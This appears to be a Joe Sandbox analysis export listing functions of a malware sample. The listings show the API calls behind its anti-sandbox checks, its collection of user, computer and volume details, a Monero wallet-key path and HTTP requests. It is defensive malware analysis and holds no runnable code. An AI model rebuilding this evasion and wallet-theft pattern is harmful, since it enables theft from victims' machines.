Instruction ID: 804c03c5f368dacde76bad10e93c683e6ab4e23c03cb2280c0fcb0ea65f367ba
Opcode Fuzzy Hash: 35c198e61aea0afa3b519abd2a3ca4fe855ad123ee7c276cade93326aeaf9ffb
Instruction Fuzzy Hash: 0CE12071910104AACB98FBE0DC52AFE737AAF56300F50856EB50766191EF34AE09CF96

Function 006A17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006A17C5
ExitProcess.KERNEL32 ref: 006A17D1

Strings

block, xrefs: 006A17B7

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a9057c3098630ecedd346f4c44fbb6fed2a8fd5a2c02c7205c7141d401476f15
Instruction ID: 35b76d9dd390dbebcd5fcbe78ab37e0d6ef5c67a2f0b5e699939e0588f90074f
Opcode Fuzzy Hash: a9057c3098630ecedd346f4c44fbb6fed2a8fd5a2c02c7205c7141d401476f15
Instruction Fuzzy Hash: 84514BB4A00209EFDB14EFA0D964ABF77B6BF46704F104159E806AB290D774ED42DF62

Function 006A7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 006A7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006A757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A7603
RtlAllocateHeap.NTDLL(00000000), ref: 006A760A
wsprintfA.USER32 ref: 006A7640

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Strings

k, xrefs: 006A764D, 006A7655, 006A761B, 006A7623
\, xrefs: 006A7560
C, xrefs: 006A754C
:, xrefs: 006A755C

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$k
API String ID: 1544550907-1212298063
Opcode ID: 9571fdd7e68b0aa8cf305ef38eada6cea9a3710d75b0f96c33d305cb4ce36268
Instruction ID: 177a12aed8075a267b66bc9cf05d56e328756d12afbc5f4915a56e98d314ffb8
Opcode Fuzzy Hash: 9571fdd7e68b0aa8cf305ef38eada6cea9a3710d75b0f96c33d305cb4ce36268
Instruction Fuzzy Hash: A84180B1D05248ABDB14EF94DC45BEEBBB9BF19700F100199F50A67280DB74AE44CFA5

Function 006A69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260C18), ref: 006A98A1
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260EB8), ref: 006A98BA
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260ED0), ref: 006A98D2
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260C30), ref: 006A98EA
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260C48), ref: 006A9903
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01268F70), ref: 006A991B
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01255480), ref: 006A9933
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,012553C0), ref: 006A994C
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260D80), ref: 006A9964
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260C60), ref: 006A997C
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260CA8), ref: 006A9995
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260D98), ref: 006A99AD
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01255400), ref: 006A99C5
Part of subcall function 006A9860: GetProcAddress.KERNEL32(75900000,01260CC0), ref: 006A99DE

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006911D0: ExitProcess.KERNEL32 ref: 00691211

Part of subcall function 00691160: GetSystemInfo.KERNEL32(?), ref: 0069116A
Part of subcall function 00691160: ExitProcess.KERNEL32 ref: 0069117E

Part of subcall function 00691110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0069112B
Part of subcall function 00691110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00691132
Part of subcall function 00691110: ExitProcess.KERNEL32 ref: 00691143

Part of subcall function 00691220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0069123E
Part of subcall function 00691220: ExitProcess.KERNEL32 ref: 00691294

Part of subcall function 006A6770: GetUserDefaultLangID.KERNEL32 ref: 006A6774

Part of subcall function 00691190: ExitProcess.KERNEL32 ref: 006911C6

Part of subcall function 006A7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006911B7), ref: 006A7880
Part of subcall function 006A7850: RtlAllocateHeap.NTDLL(00000000), ref: 006A7887
Part of subcall function 006A7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006A789F

Part of subcall function 006A78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A7910
Part of subcall function 006A78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006A7917
Part of subcall function 006A78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006A792F

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01268F90,?,006B110C,?,00000000,?,006B1110,?,00000000,006B0AEF), ref: 006A6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006A6AE8
CloseHandle.KERNEL32(00000000), ref: 006A6AF9
Sleep.KERNEL32(00001770), ref: 006A6B04
CloseHandle.KERNEL32(?,00000000,?,01268F90,?,006B110C,?,00000000,?,006B1110,?,00000000,006B0AEF), ref: 006A6B1A
ExitProcess.KERNEL32 ref: 006A6B22

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: a060417ba9fb41c388d2b95613762ecaac3c886c3926cdcdc6c8f1c75bc93285
Instruction ID: d5c4f1bd82f38b69b91021cef487c75f9839e3a0866db010f564d4b6d5d3740c
Opcode Fuzzy Hash: a060417ba9fb41c388d2b95613762ecaac3c886c3926cdcdc6c8f1c75bc93285
Instruction Fuzzy Hash: 95313E70910209AADB84F7F0DC56BEE777AAF06300F20461EF212A6192DF745D05CFAA

Function 006A6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01268F90,?,006B110C,?,00000000,?,006B1110,?,00000000,006B0AEF), ref: 006A6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006A6AE8
CloseHandle.KERNEL32(00000000), ref: 006A6AF9
Sleep.KERNEL32(00001770), ref: 006A6B04
CloseHandle.KERNEL32(?,00000000,?,01268F90,?,006B110C,?,00000000,?,006B1110,?,00000000,006B0AEF), ref: 006A6B1A
ExitProcess.KERNEL32 ref: 006A6B22

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 72569cae9857f25cdb82039daed454409340b32064594c6f88b5550fbd516e43
Instruction ID: 17288c1fb91ffb6f1e878413d2ae3e205b98e15a799610a71b85d5b5b67a2a0e
Opcode Fuzzy Hash: 72569cae9857f25cdb82039daed454409340b32064594c6f88b5550fbd516e43
Instruction Fuzzy Hash: 10F05E30A40209ABE740BBA0DD06BBE7BB5FB06701F24461ABA13A11C1DBB05D41DE6A

Function 006947B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00694839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00694849

Strings

<, xrefs: 006947C9

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 460ab39672556f5cc4162ae9091f9f217f9f0a517fedb33878d5e701c408407e
Instruction ID: be36fa09bf8d8cae54f8d455a69cc187902a13a1cc613f49c6d9f81d6560e698
Opcode Fuzzy Hash: 460ab39672556f5cc4162ae9091f9f217f9f0a517fedb33878d5e701c408407e
Instruction Fuzzy Hash: D8215EB1D01209ABDF14EFA4EC45BDE7B75FB05320F108629F915A7291EB706A0ACF81

Function 006A51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 00696280: InternetOpenA.WININET(006B0DFE,00000001,00000000,00000000,00000000), ref: 006962E1
Part of subcall function 00696280: StrCmpCA.SHLWAPI(?,0126FA00), ref: 00696303
Part of subcall function 00696280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00696335
Part of subcall function 00696280: HttpOpenRequestA.WININET(00000000,GET,?,0126F1C0,00000000,00000000,00400100,00000000), ref: 00696385
Part of subcall function 00696280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006963BF
Part of subcall function 00696280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006963D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006A5228

Strings

ERROR, xrefs: 006A521A
ERROR, xrefs: 006A5273

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 78afa1a1799b866f443be151d0a0f2eb9daf608e51dd2b115f1a8f196ec6e25d
Instruction ID: 8a6a0cc220ce26a1bba29950caf4330d8072dce9de8b4fbaca82e409695d226c
Opcode Fuzzy Hash: 78afa1a1799b866f443be151d0a0f2eb9daf608e51dd2b115f1a8f196ec6e25d
Instruction Fuzzy Hash: D5112E70900108ABCB94FFA4DD52AED737AAF52340F90415DF90B5A592EF34AF06CE95

Function 00691220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0069123E
ExitProcess.KERNEL32 ref: 00691294

Strings

@, xrefs: 00691233

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: ed07dd3825dd3ffa0b7eab510967892f2fc7b03bfc75e8c3fef102f9afea2d1f
Instruction ID: b120ba5b8a706af356c51775edc29c15c781579392118eff118098a875adc99c
Opcode Fuzzy Hash: ed07dd3825dd3ffa0b7eab510967892f2fc7b03bfc75e8c3fef102f9afea2d1f
Instruction Fuzzy Hash: 930162B0D40308BBDF10EBD4CC49B9EBB7DAB05701F308149E705BA6C0D7745A818B59

Function 006A78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A7910
RtlAllocateHeap.NTDLL(00000000), ref: 006A7917
GetComputerNameA.KERNEL32(?,00000104), ref: 006A792F

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: f704199ad64deb1fa1811bab2605ace5f856bfbab6fc58d9ab2895bd6cb7f30f
Instruction ID: 8007cfe01c93950f1203c5efa1ddae98d6dbb91b2b70e65d3cc28569b862a39e
Opcode Fuzzy Hash: f704199ad64deb1fa1811bab2605ace5f856bfbab6fc58d9ab2895bd6cb7f30f
Instruction Fuzzy Hash: 6C0186B1904204EFC714EF94DD45BABFBB8F705B11F10422AF945E3280C37559008BA1

Function 00691110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0069112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00691132
ExitProcess.KERNEL32 ref: 00691143

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 50d153cdeb55300953ed4378dbc5dc52c087853eb0af92e204e231dfb8ef6465
Instruction ID: dca99fcc5597cb549ee226a7c0b871d762300e1592bc26c2c6d4db394eebddeb
Opcode Fuzzy Hash: 50d153cdeb55300953ed4378dbc5dc52c087853eb0af92e204e231dfb8ef6465
Instruction Fuzzy Hash: 82E0867094630CFFEB146BA19C0EB08777CBB04B01F300155FB087A5C0CAB526009699

Function 006910A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006910B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006910F7

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
